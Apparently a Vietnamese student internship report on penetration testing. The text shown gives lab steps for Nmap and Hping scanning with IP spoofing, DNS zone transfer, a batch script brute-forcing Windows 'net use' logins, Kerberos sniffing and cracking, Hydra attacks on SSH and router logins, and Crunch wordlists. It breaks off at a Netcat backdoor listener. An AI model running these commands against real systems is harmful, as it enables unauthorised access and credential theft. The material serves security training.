BỘ CÔNG THƢƠNG
TRƢỜNG CAO ĐẲNG KỸ THUẬT CAO THẮNG
KHOA ĐIỆN TỬ - TIN HỌC
BÁO CÁO
THỰC TẬP TỐT NGHIỆP
TẠI
CÔNG TY………………...
GVHD: …………………………
CBHD: …………………………
ĐT (CBHD):……………………
SVTH:…………………………..
LỚP: ……………………………
TP.HỒ CHÍ MINH, ngày …. tháng 05 năm 2014
Nội dung đề tài
Hiện nay, các thiết bị như máy tính PC, laptop, đều có kết nối mạng nội bộ hoặc kết nối
Internet . Trên các thiết bị này, hầu hết cài đặt các phần mềm ứng dụng như IE,
Microsoft Office, Acrobat Reader ,…. và chạy hệ điều hành như Windows XP, Windows
7…
Tuy nhiên, các ứng dụng này đều có những lổ hổng mà các hacker có thể xâm nhập và
khai thác. Quá trình khai thác diễn ra âm thầm mà hầu hết các nạn nhân không thể nào
biết được cho dù thường xuyên update các chương trình diệt virus như nhiều người suy
nghĩ. Để hiểu hơn về quá trình khai thác các lổ hổng trên máy tính, hệ thống máy tính và
hệ điều hành chuyên đề: “System Hacking -XÂM NHẬP & KHAI THÁC LỔ HỔNG HỆ
ĐIỀU HÀNH”.
Nội dung chính gồm có:
-Các lỗ hổng mà hacker thường khai thác
-Bộ công cụ dùng để phát hiện các lổ hổng mạng
-Demo trình diễn xâm nhập các lổ hổng
-Đưa ra giải pháp khắc phục các lổ hổngnày
Lời cảm ơn
Xin cảm ơn ban giám đốc cùng toàn thể các anh chị trong Trung Tâm Đào Tạo
Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA , sự tận tình giúp đỡ của các anh
chị đã giúp em hoàn thành kì thực tập này. Xin chân thành cảm ơn Thầy Võ Đỗ Thắng ,
sự tận tâm cùng sự chỉ bảo của thầy đã giúp em hoàn thiện bản thân của mình hơn , hoàn
thiện những kiến thức đã học cũng như học những kinh nghiệm quý báu , những tình cảm
mà các anh chị dành cho em là nhựng kỷ niệm khó phai trong tâm trí
Xin gửi những lời cảm ơn chân thành nhất tới tất cả những thầy cô đã dìu dắt em
trong suốt khoảng thời gian ngồi trên ghế nhà trường. Xin cảm ơn tất cả những thầy cô
giảng dạy tại trường Cao Đẳng Kỹ Thuật Cao Thắng , tất cả những kiến thức , kinh
nghiệm mà các thầy cô dạy cho em chính là hành trang để em bước đi trên đường đời , để
em có thể hoàn thành tốt công việc trong đợt thực tập.
Sau cùng chúc Trung Tâm ATHENA ngày càng thành công và phát triển . Chúc
các anh chị và quý thầy cô thật nhiều sức khỏe và may mắn
TPHCM , ngày…….. tháng………..năm………
Nhận Xét
.. ...................................................................................................................................................................
.. ...................................................................................................................................................................
.. ...................................................................................................................................................................
.. ...................................................................................................................................................................
.. ...................................................................................................................................................................
.. ...................................................................................................................................................................
.. ...................................................................................................................................................................
.. ...................................................................................................................................................................
.. ...................................................................................................................................................................
.. ...................................................................................................................................................................
.. ...................................................................................................................................................................
.. ...................................................................................................................................................................
.. ...................................................................................................................................................................
TP.HCM, Ngày……….Tháng……..Năm 2013
Giáo viên hướng dẫn
Mục Lục
Table of Contents
Chƣơng 1 : Scanning ..................................................................................................................................1
1.1 Nmap là gì ?.......................................................................................................................................1
1.2 Nessus Scanning ................................................................................................................................3
1.3 Hping Scanning.................................................................................................................................4
Chƣơng 2 : Enumeration............................................................................................................................4
2.1 Email Collector..................................................................................................................................5
2.2 DNS Enumeration.............................................................................................................................5
Chƣơng 3 : System Hacking.......................................................................................................................7
3.1 Password Attack................................................................................................................................7
3.1.1 Kerberos Attack.........................................................................................................................7
3.1.2 Sử Dụng Hydra...........................................................................................................................8
3.2 Crunch Dictionary ..........................................................................................................................10
3.2.1 Download và Install, Uninstall chƣơng trình Crunch ..........................................................12
3.2.2 Sử Dụng Crunch để tạo Password.........................................................................................12
3.3 Netcat backdoor ..............................................................................................................................13
3.3.1 Sử dụng Netcat .........................................................................................................................14
3.4 System Hacking...............................................................................................................................15
3.4.1 Chuẩn bị Metasploit.................................................................................................................15
3.4.2 Cấu hình Ettercap DNS Spoofing...........................................................................................16
3.4.3 Kiểm tra metasploit ................................................................................................................16
3.4.4 Sử Dụng Netcat làm backdoor và hxdef100 rootkit.............................................................20
3.4.5 Tạo ra backdoor và upload bằng metasploit........................................................................23
Chƣơng 4: Virus Worm Trojan...........................................................................................................25
4.1 By Pass Anti Virus ..........................................................................................................................25
4.2 Tạo Trojan bằng Metasploit ..........................................................................................................26
Chƣơng 5 : DoS DdoS...........................................................................................................................28
5.1 Ping of Dealth Attack.....................................................................................................................28
5.2 Syn Flood Attack............................................................................................................................28
5.3 Sử Dụng Hping3 thực hiện Syn Flood Attack ..............................................................................30
5.4 PHP DoS ..........................................................................................................................................31
5.5 Apache DoS Slowloris....................................................................................................................32
5.6 Sử Dụng Poison Ivy tạo Botnet......................................................................................................33
5.7 Dos và DdoS bằng công cụ Hyenae...............................................................................................34
Chƣơng 6 : Sniffer ................................................................................................................................35
6.1 Cain Abel ARP Poisoning...............................................................................................................36
6.2 Ettercap DNS Spoofing...................................................................................................................37
6.3 Ettercap Sniffer Password..............................................................................................................38
6.4 SSL Strip..........................................................................................................................................40
Chƣơng 7 : Session Hijacking.............................................................................................................42
7.1 Hunt Session Hijacking ..................................................................................................................42
7.2 Cookie Hijacking Yahoo Mail.......................................................................................................43
7.3 Cookie Hijacking Hotmail..............................................................................................................45
Chƣơng 8 : Wireless..............................................................................................................................47
8.1 Crack WEP Key..............................................................................................................................47
8.1.1 Bƣớc chuẩn bị...........................................................................................................................47
8.1.2 Ta dùng card usb để capture ..................................................................................................48
8.1.3 Dùng card broadcom để inject................................................................................................48
8.2 SỬ DỤNG AIRCRACK-NG CRACK WPA KEY.......................................................................49
8.3 WPA Enterprise..............................................................................................................................52
8.3.1 Cài đặt và cấu hình Elektron 802.1X RADIUS Server........................................................53
8.3.2 Cấu hình Wireless Access Point dùng WPA Enterprise.......................................................54
Chƣơng 9 : Web Application Attack..................................................................................................56
9.1 XSS Stored.......................................................................................................................................56
9.2 SQL Injection ..................................................................................................................................57
9.3 Blind SQL Injection........................................................................................................................58
9.4 Automatic Blind SQL Injection.....................................................................................................60
Chƣơng 10 : Buffer Overflow .................................................................................................................63
10.1 Single Buffer Overflow Lab .........................................................................................................63
10.1.1 Thực thi chƣơng trình ..........................................................................................................64
10.2 Kioptrix level 1 mod_ssl ...............................................................................................................64
10.3 Buffer Overflow Wireshark 1.4.4 ................................................................................................65
10.4 Vulnserver .....................................................................................................................................66
Chƣơng 11 : Evade IDS Firewall.............................................................................................................75
11.1 Reverse ICMP Backdoor..............................................................................................................75
11.2 SSH Tunnel....................................................................................................................................76
11.3 Stunnel ...........................................................................................................................................78
Chƣơng 12 : Hƣớng dẫn tấn công máy victim bằng file pdf.................................................................80
12.1 Hƣớng dẫn tấn công......................................................................................................................80
12.2 Cách phòng chống.........................................................................................................................86
Đề Tài : SysTem Hacking 1
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Chƣơng1 : Scanning
1.1 Nmap là gì ?
Nmap hay còn gọi là Network Mapper, nó là một công cụ dùng để quét hệ thống
mạng được viết bởi Gordon Lyon. Nmap được sử dụng để "khám phá" các máy chủ và
các dịch vụ đang chạy trên máy tính do đó tạo nên một bản đồ mạng. Để thực hiện mục
tiêu đó thì Nmap gửi các gói dữ liệu đặc biệt đến host mục tiêu sau đó phân tích các gói
tin được trả về.
Nmap dùng cho các loại OS như Linux, Microsoft Windows, Solaris, HP-UX và
BSD. Một số tùy chọn thường được dùng:
Tên Scan Cấu trúc lệnh Xác định TCP
ports
Xác định được
UDP ports
Syn scan -sS Yes No
Full scan (TCP
connect scan )
-sT Yes No
FIN scan -sF Yes No
Xmas scan -sX Yes No
Null scan -sN Yes No
Ping scan -sP No No
Version
Detection
-sV No No
UDP scan -sU No Yes
IP Protocol scan -sO No No
ACK scan -sA Yes No
Đề Tài : SysTem Hacking 2
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Window scan -sW Yes Yes
Idlescan -sI Yes No
FTP Bounce scan -b Yes No
Các bƣớc thực hiện :
o Bước 1: ta xem giúp đỡ của câu lệnh NMAP
o Bước 2: thực hiện quá trình ping sweep cho đường mạng 192.168.1.0/24 để
xác định các host đang có trong đường mạng bằng câu lệnh “nmap -sP -v
172.16.34.1/24”
o Bước 3: Ta cần xác định xem ở IP 172.16.34.18 đang có nhưng port nào đang
mở. Để làm việc này ta có thể sử dụng các dạng scan khác nhau. Ví dụ ở đây
ta sử dụng kỹ thuật SYN scan với câu lệnh “nmap –sS 172.16.34.18”
o Bước 4: xác định giá trị port trong quá trình scan. Mặc định chương trình sẽ
scan tất cả các port. Ví dụ ta cần xác định trong đường mạng 172.16.34.1/24
thì đang có bao nhiêu máy đang mở port 445,139,80,3389 ta có thể sử dụng
câu lệnh “nmap -sT -p 445,139,3389 172.16.34.1/24”
o Bước 5: Sử dụng nmap scan đường mạng với IP Public bên ngoài với câu lệnh
“nmap -sS -p 80 222.253.166.1/24 > /root/Desktop/scan_adsl.txt” . Như vậy
kết quả scan sẽ được ghi thành file scan_adsl.txt
o Bước 6: Sử dụng nmap để xác định các thông số của các ứng dụng được triển
khai trên server. Ta sử dụng “nmap -p 1-65535 -T4 -A -v 192.168.0.4”
o Bước 7: Trong nmap hỗ trợ sử dụng các scripts đển scan một lỗi ứng dụng nào
đó. Đầu tiên ta có thể sử dụng câu lệnh “locate nmap” để xác định các file script
đang được hỗ trợ trong nmap. Ví dụ ta có thể sử dụng kiểm tra lỗi ms08-067 của
các máy trong đường mạng “nmap -sT --script smb-check-vulns.nse -p 139,445
172.16.34.1/24”
 Ngoài ra ta có thể kiểm tra xem trong mạng có máy nào đang chuyển card
mạng sang Promicious mode để sniffer traffic trên đường truyền “nmap --
script snifferdetect 172.16.34.1/24”
o Bước 8: Trong quá trình scan ta nên thay đổi các giá trị IP source, lưu lượng gói
tin gửi trong thời gian 1 giây, thực hiện phân mảnh gói tin, giả thông số ttl. Ví dụ
ta thực hiện câu lệnh “nmap -sS -p 3389,445,139,23,22,80 --max-rate 50 -S
10.0.0.1 192.168.1.78 -ttl 128 -f -e eth0 -Pn”
-sS : SYN Scan
Đề Tài : SysTem Hacking 3
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
-p : port
--max-rate: luu luong maximum per second
-f: fragment
-S: Spoofing IP address
-e: xac dinh interface
-ttl: xac dinh gia tri ttl ( mac dinh window la 128 )
1.2 Nessus Scanning
Nessus là một trong những công cụ hỗ trợ admin scan các vulnerable của hệđiều
hành, các ứng dụng … khá tốt. Ngoài ra ta có thể sử dụng các công cụ khác như
OpenVAS, GFI Languard
Các bƣớc thực hiện :
o Bước 1: Đầu tiên ta sẽ download và đăng ký Activation Code tại trang
webhttp://www.tenable.com/products/nessus .Các thao tác cấu hình của Nessus sẽ
được thực hiện trên nền giao diện web
o Bước 2: Sau khi cài đặt xong, ta sử dụng trình duyệt web kết nối
vàohttps://localhost:8834 để điều khiển Nessus
o Bước 3: Tiếp tục định nghĩa ra username và password
o Bước 4: Nhập vào Activation Code
o Bước 5: Sau đó chương trinh sẽ download về các Plugin để sử dụng scan
o Bước 6: Cấu hình Nessus scan vulnerable của hệ điều hành và ứng dụng. Các
bước chính ta cần cấu hình:
 Tạo Policy và chọn phương thức scan.
 Chọn đối tượng scan
 Kiểm tra kết quả và xuất report
 Đầu tiên ta login vào Nessus bằng cách sử dụng đường link
https://localhost:8834
 Click vào Policies, click vào Add, định nghĩa ra một profile scan. Ở đây ta định
nghĩa ra profile có tên là Athena Scan
 Nhập vào username và password xác thực để scan (ta có thể scan được nhiều
lỗi hơn) hoặc ta không nhập username và password.
 Chọn Windows: Microsoft Bullentins để scan các lỗi của hệ điều hành
Window. Thông tin database ta để mặc định.
o Bước 7: Tiếp tục ta Click vào SCANS , xác định Policy là Athena Scan, Scan
Target nhập vào IP 192.168.1.236 để cấu hình các đối tượng để scan.
o Bước 8: Cuối cùng ta xem kết quả scan và xuất report
Đề Tài : SysTem Hacking 4
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
1.3 Hping Scanning
Hping để xác định các thông số hệ điều hành, port, dịch vụ tương ứng với. Ngoài
ra Hping cho phép ta tạo ra những gói tin theo ý mình và dễ dàng điều chỉnh lưu lượng
Các bƣớc thực hiện :
o Bước 1: Hping là một trong những công cụ scan tốt. Nó cho phép ta tạo ra
các gói tin theo ý muốn, điều chỉnh số lượng gói tin gửi … Mặc định
hping2, hping3 được cài đặt mặc định trong Back Track 5. Ta có thể xem
giúp đỡ bằng câu lệnh “hping3 --help”
o Bước 2: Sử dụng hping để gửi standard ICMP packet đến target. Bằng câu
lệnh “hping3 –icmp –c 4 athena.edu.vn”
o Bước 3: Tiếp theo ta sử dụng lại câu lệnh ở trên và thêm vào 2 biến
– d kích thước data trong gói tin
– V hiển thị thông tin đầy đủ
o Bước 4: Sử dụng biến –j để xem kết quả output dạng hexa decimal
o Bước 5: Sử dụng hping3 gửi SYN packet đến một host. Ta sẽ thêm biến –S
và –p để xác định giá trị port 25. Trên màn hình ta sẽ nhận được 4 packet
với “SA” flag. Với giá trị SYN/ACK trả về nghĩa là port này Open. Câu
lệnh ta phải nhập vào là “hping3 –S –p 25 –c 4 athena.edu.vn ”
o Bước 6: Attacker gửi ACK Probe với giá trị sequence number random. Nếu
không có packet response nghĩa là port được filter ( có stateful firewall).
Nếu RST packet reponse nghĩa là port không được filter (không có firewall)
Ta có thể xác định thêm giá trị source port cho câu lệnh Ack Scan ở trên
bằng biến –s. Ví dụ ta sẽ nhập vào câu lệnh “hping3 –A –p 25 -s 5555 –c 4
athena.edu.vn ”
o Bước 7: Ta có thể spoofing IP bằng biến –a. Ví dụ ta nhập vào câu lệnh như
sau“hping3 -S -p 80 -s 5555 -a 192.168.1.121 -c 10 192.168.1.254”
 Nếu như ta sử dụng wireshark capture traffic thì sẽ thấy traffic giữa 2 IP
192.168.1.121 và IP 192.168.1.254
o Bước 8: Để scan cùng 1 lúc nhiều port thì ta sẽ sử dụng option --scan [port
cần scan]. Ví dụ “hping3 –S –scan 80,443,25,85-90 –V athena.edu.vn”
Chƣơng 2 : Enumeration
Đề Tài : SysTem Hacking 5
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
2.1 Email Collector
Sử dụng các công cụ search như Google, Yahoo, Bing để tìm thống kê danh sách
các email của các nhân viên trong 1 tổ chức. Các email tìm được sẽ là các email của các
nhân viên có ghi lại email của mình trên các website. Để quá trình thực hiện nhanh hơn ta
sử dụng tính năng email collector có trong metasploit
Các bƣớc thực hiện :
o Bước 1: Ta sẽ sử dụng module email_collector trong chương trình
metasploit để thực hiện việc này. Sau đó search email_collector
o Bước 2: Ta sử dụng module auxiliary/gather/search_email_collector bằng
câu lệnh “use auxiliary/gather/search_email_collector”
o Bước 3: Tiếp tục ta nhập vào câu lệnh “show options” để xác định các
thông sốta phải nhập vào. Dựa trên kết quả màn hình bên dưới thì ta cần
phải nhập vào thông số domain name
o Bước 4: Tiếp tục ta nhập vào thông số domain name ta cần tìm kiếm. Ví
dụnhập vào câu lệnh “set DOMAIN athenavn.com” và nhập vào lệnh “run”
để chương trình hoạt động. Ta sẽ thu thập được 1 số thông số các email
o Bước 5: Ta test thử với domain khác. Ví dụ ở đây ta dùng
thửdomain“vnn.vn”
2.2 DNS Enumeration
DNS enumeration là tiến trình xác định các DNS Server và các record DNS của
một tổchức nào đó. Trong một công ty internal và external server đều có thểcung cấp các
thông số username, computer name, IP . Để thực hiện DNS enumeration có rất nhiều tool
để thực hiện ví dụ như NSLOOKUP, DIG, HOST, DNSstuff…
DNS Zone Transfer thường được sử dụng để replicate DNS data giữa các DNS
Server hoặc sử dụng để backup. Một user của server sẽ thực hiện yêu cầu zone transfer từ
một name server. Nếu một name server cho phép thực hiện zone Tài liệu Học Hacker Mũ
Trắng –AEH Tại ATHENA . GV Lê Đình Nhân transfer thì tất cả các DNS names, IP
address của name server này sẽ được chuyển thành dạng ASCII text có thể đọc được.
Mục đích của DNS Enumeration là thu thập các thông tin DNS. Phần bên dưới ta
sử dụng các công cụ như DNSenum, Dig, nslookup để tìm kiếm các thông tin DNS.
DNSenum.pl là một công cụ có sẵn trong Back Track 5, ta có thể đi đến đường dẫn
“/pentest/enumeration/dns/dnsenum” và kiểm tra các thông sốgiúp đỡ của câu lệnh bằng
câu lệnh “./dnsenum.pl”
Các bƣớc thực hiện :
Đề Tài : SysTem Hacking 6
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Ta sẽ sử dụng câu lệnh “ ./dnsenum.pl --enum -f dns.txt --update a –r
athena.com.vn “
--enum : sẽ thực hiện các tính năng “--threads 5 -s 20 –w”
--threads : xác định số luồng các query
-s : xác định số maximum subdomains sẽ tìm kiếm từ google
-w: sử dụng whois queries ở lớp mạng C
-f : xác định file dictionary, chủ yếu sử dụng để query dns
--update –a : quá trình update sử dụng tất cả các kết quả
-r : nghĩa là recursive, brute force tất cả subdomain tìm được
Dig là công cụ để thực hiện truy vấn thông tin DNS Server host addresses, mail
exchanges, nameservers, và các thông tin khác. Công cụ này được cài đặt sẵn trong môi
trường Linux , Mac OS.Đầu tiên có thể thử câu lệnh dig google.com, nó sẽ cho các
Record A đại diện cho các server google trong khu vực, các record NS đại diện cho các
DNS Server.
Tiếp tục ta thử truy vấn xem DNS Server ns1.google.com thì sẽ phân giải tên miền
mail.google.com như thế nào bằng câu lệnh “dig @ns1.google.com mail.google.com”
Tìm kiếm các Name Server phân giải tên miền yahoo.com và các Mail Server
bằng câu lệnh dig NS MX yahoo.com
Tìm kiếm thông tin Zone Transfer của domain athena.com.vn bằng câu lệnh dig
@smtp.athena.com.vn athena.com.vn axfr
Đề Tài : SysTem Hacking 7
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Chƣơng 3 : System Hacking
3.1 Password Attack
Để kết nối đến một máy tính thông qua mạng thì trong hệ điều hành Window ta có
thể sử dụng câu lệnh “net use” C:> net use 192.168.1.100 password /u:administrator
Sau khi quá trình kết nối thành công thì ta có thể sử dụng tài nguyên tại máy
192.168.1.100 vì ta đã có một session với quyền administrator. Tiếp theo ta có thể sử
dụng Psexe để gọi cmd.exe của máy 192.168.1.100
Tuy nhiên ở đây ta có thể sử dụng đoạn script đơn giản bên dưới để kết nối đến
máy 192.168.1.100 với thông số username và password đã được lưu trữtrong file
credentials.txt. Ví dụ ta tạo ra một file có tên là for.bat có nội dung giống như bên dưới.
@echo off
FOR /F "tokens=1,2*" %%i in (credentials.txt)^
do net use 192.168.1.100IPC$ %%j /u:%%i^
2>>nul^
&& echo %time% %date% >> ketqua.txt^
&& echo 192.168.1.100 user:%%i password:%%j >> ketqua.txt
Cuối cùng ta thử thực thi đoạn scripts với đối tượng là PC có IP 192.168.1.100
3.1.1Kerberos Attack
Ta có mô hình bài Lab như sau:
Đề Tài : SysTem Hacking 8
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Các bƣớc chuẩn bị :
o Máy VICTIM là Window XP, Server là Window 2003, gán IP theo sơ đồ
o Máy attacker sử dụng Window 7 ( gán IP theo sơ đồ ) và đang cài đặt 2
chương trình
 KerbSniff và KerbCrack
 Cain abel
Các bƣớc thực hiện:
o Máy attacker kích hoạt chương trình Kerbsniff để sniffer traffic
o Nhập vào câu lệnh kerbsniff.exe capture.txt nghĩa là sniff và ghi kết quả ra
thành file capture.txt
o Attacker sử dụng chương trình Cain Abel để scan đường mạng xung
quanhthực hiện ARP Poisonning giữa 2 IP 192.168.1.100 và 192.168.1.200
o Máy XP thực hiện quá trình join vào domain và nhập thông tin xác thực
o Lúc này ta thấy ở cửa sổ của chương trình kerbsniff đã xuất hiện các dấu * .
Mỗi dấu * tương ứng với các gói tin xác thực kerberos
o Tại máy Window XP thực hiện quá trình login vào
o Tại máy attacker sử dụng chương trình kerbcrack để crack gói tin kerberos
xác thực bằng câu lệnh “kerbcrack.exe capture.txt –d password.txt ”
3.1.2 Sử Dụng Hydra
Hydra và Medusa là hai chương trình thực hiện online password attack thông
dụng. Hai chương trình này đã được install sẵn trong Back Track 5.
Ta có thể cài đặt chương trình Hydra phiên bản 6.4 từ source. Đầu tiên ta cài
đặtcác thư viện cần thiết cho chương trình.
root@nhanld-laptop:/# sudoapt-getinstall build-essential linux-headers-
$(uname -r) libgtk2.0-dev libssl-dev cmake
Tuy nhiên chương trình hydra không tương thích với libssh của Ubuntu. Vì vậy ta
sẽ install libssh manually
root@nhanld-laptop:/# cd /home/nhanld/Download
root@nhanld-laptop:/home/nhanld/Downloads# wget -c
http://www.libssh.org/files/0.4/libssh-0.4.6.tar.gz
root@nhanld-laptop:/home/nhanld/Downloads# tar -xvzf libssh-
Đề Tài : SysTem Hacking 9
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Tài Liệu Học Hacker Mũ Trắng-AEH tại ATHENA.GV: Lê Đình Nhân
0.4.6.tar.gz
root@nhanld-laptop:/home/nhanld/Downloads# cd libssh-0.4.6
root@nhanld-laptop:/home/nhanld/Downloads# mkdir build
root@nhanld-laptop:/home/nhanld/Downloads# cd build
root@nhanld-laptop:/home/nhanld/Downloads# cmake -
DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug ..
root@nhanld-laptop:/home/nhanld/Downloads# make
root@nhanld-laptop:/home/nhanld/Downloads# sudo make install
Download phiên bản Hydra 6.4 hoặc phiên bản 5.9
root@nhanld-laptop:/home/nhanld/Downloads # tar xvf hydra-6.4-src.tar.gz
root@nhanld-laptop:/home/nhanld/Downloads # cd hydra-6.4-src
root@nhanld-laptop:/home/nhanld/Downloads/hydra-6.4-src # mkdir
/opt/hydra
root@nhanld-laptop:/home/nhanld/Downloads/hydra-6.4-src # ./configure
--prefix=/opt/hydra
root@nhanld-laptop:/home/nhanld/Downloads/hydra-6.4-src # make
root@nhanld-laptop:/home/nhanld/Downloads/hydra-6.4-src # make
install
Mô hình bài lab như sau:
Máy attacker sử dụng Backtrack 5 hoặc máy linux đã được cài đặt chương trình
Hydra
Đề Tài : SysTem Hacking 10
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Ta gọi file thực thi hydra để hoạt động ở giao diện dòng lệnh và file xhydra ở giao
diện đồ họa :root@nhanld-laptop:/opt/hydra/bin# cd /opt/hydra/bin/ && ls –l total 308
-rwxr-xr-x 1 root root 242600 2011-06-18 08:50 hydra
-rwxr-xr-x 1 root root 10432 2011-06-18 08:50 pw-inspector
-rwxr-xr-x 1 root root 56576 2011-06-18 08:50 xhydra
Sử dụng Nmap để scan victim :root@nhanld-laptop:/opt/hydra/bin#nmap -sS -p
22,23,80,443 192.168.1.254
Sử dụng Hydra attack victim Wireless Route Access Point Linksys :root@nhanld-
laptop:/opt/hydra/bin # ./hydra 192.168.1.254 -L /opt/hydra/wordlist/userlist.txt -P
/opt/hydra/wordlist/password.txt -t 1 -e ns -f
-V http-get /
-L: đường dẫn đến file chứa username
-P: đường dẫn đến file chứa password
-t : xác định số kết nối đồng thời. Ví dụ -t 1 là chỉ thực hiện 1 kết nối
-e ns: là thử kết nối với null password ứng với user login
-f : stop khi password đầu tiên được tìm thấy
-V: hiển thị quá trình làm việc
http-get / : phương thức login và đường dẫn
Sử dụng Hydra attack OpenSSH-Server :root@nhanld-laptop:/ # ./hydra -L
/opt/hydra/wordlist/userlist.txt -P /opt/hydra/wordlist/password.txt -o login.pwd -w 30 -f -
vV 192.168.1.6 ssh
-w: thời gian đợi tối đa cho gói tin response
Sử dụng hydra ở giao diện đồ họa: root@nhanld-laptop:/opt/hydra/bin# ./xhydra &
3.2 Crunch Dictionary
Crunch là chương trình tạo từ điển để sử dụng tấn công Password. Kích thước của
từ điển được tạo ra bởi chương trình crunch thì không có được ước lượng được trước.Tuy
nhiên điểm mạnh của chương trình cho phép sử dụng các mẫu password để tạo giảm kích
thước wordlist. Ta có nén lại file output với định dạng khác nhau và kể từversion 2.6 thì
crunch còn cung cấp cho ta biết dung lượng của wordlist sau khi được tạo ra, crunch còn
Đề Tài : SysTem Hacking 11
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
cho ta khoảng thời gian 3 giây để quyết định xem có tạo ra file wordlist hay không nếu
như kích thước file quá lớn so với dự định của mình.
Các tính năng của chƣơng trình crunch.
-b: dung lượng maximum của 1 file. Ta có thể tạo ra các file theo định dạng
là KB/MB/GB ( phải sử dụng chung với biến -o START )
-c: số lượng dòng để ghi output file, phải sử dụng chung với -o START
-f: đường dẫn đến charset.lst để sử dụng, đường dẫn mặc định là
/pentest/password/crunch/charset.lst ( Back Track 5 )
-i: chuyển đổi thứ tự output từ trái sang phải thành từ phải sang trái. Ví
dụthay vì password là aaa, aab, aac, aad thì sau khi ta đảo sẽ thành aaa, baa,
caa, daa
-l: Khi ta xác định một mẫu password với option -t, thì options -l cho phép
bạn định dạng các ký tự theo nghĩa đen thay vì đặt trong dấu ngoặc ( @,%,^
)
-o: cho phép ta xác định tên và đường dẫn của output filename.txt
-p: print in sự hoán vị của từ hay ký tự đã được cung cấp trên command line
-q: print in sự hoán vị của từ hay ký tự được tìm thấy trong một filename.txt
-s: Cho phép ta xác định chữ bắt đầu của wordlist
-t: cho phép ta xác định mẫu password được dùng ( rule based password
attack ). Tất nhiên đây là một trong những tính năng rất hay của chương
trình crunch. Các ký tự đặc biệt trong chương trình
@ --- đại diện cho các ký tự không viết hoa
, --- đại điện cho các ký tự viết hoa
% đại diện cho các ký tự số
^ --- đại diện cho các ký tự đặc biệt ( bao gồm luôn cả ký tự khoảng trắng )
-u: ước lượng kích thước wordlist, số dòng có trong wordlist được tạo ra.
-z: cung cấp tính năng nén file output, có thể theo các dạng là gzip, bzip,
lzma
Đề Tài : SysTem Hacking 12
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
3.2.1 Download và Install, Uninstall chƣơng trình Crunch
Download file tại đường link http://sourceforge.net/projects/crunch-wordlist/
Install file từ source gói tin
#tar xvf crunch-3.0.1.tgz && cd crunch-3.0/
#make
#make install
Để uninstall chương trình crunch
#cd crunch-3.0
#make uninstall
Deleting binary and manpages...
rm -f /pentest/passwords//crunch/crunch
rm -f /usr/local/share/man/man1/crunch.1
Chương trình thông báo ta xóa hai file hiển thị ở trên
#rm -f /pentest/passwords//crunch/crunch
#rm -f /usr/local/share/man/man1/crunch.1
3.2.2 Sử Dụng Crunch để tạo Password
Cú pháp căn bản của chương trình là: ./crunch [min length] [max length]
[character set] [options]
*min length+ : độ dài tối thiểu của password
*max length+ : độ dài tối đa của password
[character set] : các yếu tố tạo thành password
*options+ : định nghĩa các option
Ví dụ 1: root@bt # /pentest/passwords/crunch/crunch 8 8 abc + + !@# -t
TEST^%,@ -o test.txt
o Tạo ra password có chiều dài tối thiểu là 8 ký tự và chiều dài tối đa là 8 ký
tự
Đề Tài : SysTem Hacking 13
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
o Các thành phần Password được tạo ra ngẫu nhiên là ký tự abc, cộng thêm
các ký tự đặc biệt lần lượt là ! @ #
o Biến -t xác định rằng password mình tạo ra phải bắt đầu bằng chữ TEST,
ký tự kế tiếp phải là ký tự đặc biệt ( thông qua dấu ^ ) , ký tự kế tiếp là số (
thông qua dấu % ), ký tự kế tiếp là chữ ký tự viết hoa ( thông qua dấu , ) và
ký tự cuối cùng là ký tự viết thường ( thông qua dấu @ )
o -o cấu hình output ra thành file password có tên là test.txt
Ví dụ 2: Sử dụng tính năng hoán vị ta có 2 tùy chọn là -p và -q. Tính năng -p nghĩa
là hoán vị các ký tự được định nghĩa trên dòng lệnh. Tính năng -q hoán vịcác ký tự được
định nghĩa thông qua một wordlist. Trong tính năng này mặc dù không có khái niệm độ
dài ký tự nhưng ta cũng nên định nghĩa
root@bt # ./crunch 1 1 -p abcd : Tạo ra password được hoán vị từ ký tự abcd
root@bt# ./crunch 1 1 -p bird dog cat :Tạo ra password được ghép lại từ 3 từ bird,
cat, dog. Ngoài ra ta thực hiện quá trình hoán vị qua lại chỉ giữa 3 chữ trên.
root@bt # echo "bird" > test.txt && echo "cat" >> test.txt && echo "dog" >>
test.txt
root@bt# ./crunch 1 1 -q test.txt :Tạo ra file password là hoán vị của tất cả các từ
có trong file.
3.3 Netcat backdoor
Trong bài lab này ta sẽ sử dụng công cụ netcat. Đầu tiên ta sẽ tìm hiểu một sốtính
năng cơ bản của chương trình netcat. Phần còn lại ta sẽ sử dụng netcat làm backdoor.
Download source netcat.
Chương trình netcat được thực thi ở giao diện "command line"
Mô hình bài lab ta cần 2 đối tượng là máy Window XP là Attacker và một máy
Window Server 2003 là Victim
Đề Tài : SysTem Hacking 14
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
3.3.1 Sử dụng Netcat
Đầu tiên ta kiểm tra giao diện dòng lệnh của netcat “C:nc>nc.exe –h ”
Cấu hình netcat listen ở port 4444 trên máy Window “C:netcat>nc.exe -lvp 4444”
-l: lắng nghe trên IP
-v: verbose (hiển thị chi tiết thông tin kết nối)
-p: port lắng nghe
Sau khi cấu hình xong ta có thể kiểm tra trạng thái kết nối tại máy Window “C:>
netstat –ano” =>kiếm dòng hiện thị LISTEN ở port 4444
